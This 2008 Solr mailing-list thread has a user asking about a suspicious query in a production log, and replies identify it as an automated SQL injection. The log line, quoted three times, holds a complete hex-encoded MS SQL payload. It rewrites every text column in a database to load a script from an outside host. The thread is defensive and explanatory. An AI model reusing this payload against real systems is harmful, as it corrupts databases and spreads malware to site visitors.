You are viewing a plain text version of this content. The canonical link for it is here.
Posted to solr-user@lucene.apache.org by Jim Hurst <pa...@gmail.com> on 2008/08/22 00:30:13 UTC

Buffer overflow attack on solr seen in the wild

Hey folks,

I was just perusing a log on a production server and saw the entry 
below.  It's all one line in the log, I've added line breaks to ease 
your viewing.  I'm not informed enough to evaluate this as a threat.  
Any advice?  Thanks,

            -Jim

PS:  query is lightly sanitized, **** is my replacement text.

Aug 21, 2008 6:16:13 PM org.apache.solr.core.SolrCore execute
INFO: /select/ 
facet=true&_source=&indent=on&facet.mincount=2&facet.limit=10&version=2.3&rows=20&fl=id,score,****_rating,***_rating&facet.query=price:[1+TO+5]&facet.query=price:[5.01+TO+10]&facet.query=price:[10.01+TO+25]&facet.query=price:[25.01+TO+50]&facet.query=price:[50.01+TO+100]&facet.query=price:[100.01+TO+250]&facet.query=price:[250.01+TO+500]&facet.query=price:[500.01+TO+1000]&facet.query=price:[1000.01+TO+*]&start=0&facet.sort=true&q=****_id:(91621)+AA:K\';DECLARE+@S+CHAR(4000);SET+@S%3DCAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E31303030796C632E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E31303030796C632E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72+AS+CHAR(4000));EXEC(@S);*+;AA+asc&facet.field=****&facet.field=****&facet.field=****&facet.field=s****&facet.field=****&facet.field=country_id&facet.field=**** 
0 1



Re: Buffer overflow attack on solr seen in the wild

Posted by Alexander Ramos Jardim <al...@gmail.com>.
Yes, it is an SQL injection in fact.

2008/8/21 Mike Klaas <mi...@gmail.com>

> Hi Jim,
>
> Looks like a sql injection attack that is automatically entered into search
> forms.  Solr should not be affected, but it could affect you if you insert
> the raw/unescaped query into a sql database (for logging, etc.).
>
> -Mike
>
>
> On 21-Aug-08, at 3:30 PM, Jim Hurst wrote:
>
>  Hey folks,
>>
>> I was just perusing a log on a production server and saw the entry below.
>>  It's all one line in the log, I've added line breaks to ease your viewing.
>>  I'm not informed enough to evaluate this as a threat.  Any advice?  Thanks,
>>
>>          -Jim
>>
>> PS:  query is lightly sanitized, **** is my replacement text.
>>
>> Aug 21, 2008 6:16:13 PM org.apache.solr.core.SolrCore execute
>> INFO: /select/
>> facet=true&_source=&indent=on&facet.mincount=2&facet.limit=10&version=2.3&rows=20&fl=id,score,****_rating,***_rating&facet.query=price:[1+TO+5]&facet.query=price:[5.01+TO+10]&facet.query=price:[10.01+TO+25]&facet.query=price:[25.01+TO+50]&facet.query=price:[50.01+TO+100]&facet.query=price:[100.01+TO+250]&facet.query=price:[250.01+TO+500]&facet.query=price:[500.01+TO+1000]&facet.query=price:[1000.01+TO+*]&start=0&facet.sort=true&q=****_id:(91621)+AA:K\';DECLARE+@S
>> +CHAR(4000);SET+@S%3DCAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E31303030796C632E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E31303030796C632E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72+AS+CHAR(4000));EXEC(@S);*+;AA+asc&facet.field=****&facet.field=****&facet.field=****&facet.field=s****&facet.field=****&facet.field=country_id&facet.field=****
>> 0 1
>>
>>
>>
>


-- 
Alexander Ramos Jardim

Re: Buffer overflow attack on solr seen in the wild

Posted by Mike Klaas <mi...@gmail.com>.
Hi Jim,

Looks like a sql injection attack that is automatically entered into  
search forms.  Solr should not be affected, but it could affect you if  
you insert the raw/unescaped query into a sql database (for logging,  
etc.).

-Mike

On 21-Aug-08, at 3:30 PM, Jim Hurst wrote:

> Hey folks,
>
> I was just perusing a log on a production server and saw the entry  
> below.  It's all one line in the log, I've added line breaks to ease  
> your viewing.  I'm not informed enough to evaluate this as a  
> threat.  Any advice?  Thanks,
>
>           -Jim
>
> PS:  query is lightly sanitized, **** is my replacement text.
>
> Aug 21, 2008 6:16:13 PM org.apache.solr.core.SolrCore execute
> INFO: /select/  
> facet 
> = 
> true 
> &_source 
> = 
> &indent 
> = 
> on 
> &facet 
> .mincount 
> = 
> 2 
> &facet 
> .limit 
> = 
> 10 
> &version 
> =2.3&rows=20&fl=id,score,****_rating,***_rating&facet.query=price: 
> [1+TO+5]&facet.query=price:[5.01+TO+10]&facet.query=price:[10.01+TO 
> +25]&facet.query=price:[25.01+TO+50]&facet.query=price:[50.01+TO 
> +100]&facet.query=price:[100.01+TO+250]&facet.query=price:[250.01+TO 
> +500]&facet.query=price:[500.01+TO+1000]&facet.query=price: 
> [1000.01+TO+*]&start=0&facet.sort=true&q=****_id:(91621)+AA:K 
> \';DECLARE+@S+CHAR(4000);SET+@S 
> %3DCAST 
> (0x4445434C415245204054207661726368617228323535292C4043207661726368617 
> 2283430303029204445434C415245205461626C655F437572736F7220435552534F522 
> 0464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F6 
> 26A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E6 
> 96420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E31303030796C632E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E31303030796C632E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 
> +AS+CHAR(4000));EXEC(@S);*+;AA 
> + 
> asc 
> &facet 
> .field 
> = 
> ****&facet 
> .field 
> = 
> ****&facet 
> .field 
> = 
> ****&facet 
> .field 
> =s****&facet.field=****&facet.field=country_id&facet.field=**** 0 1
>
>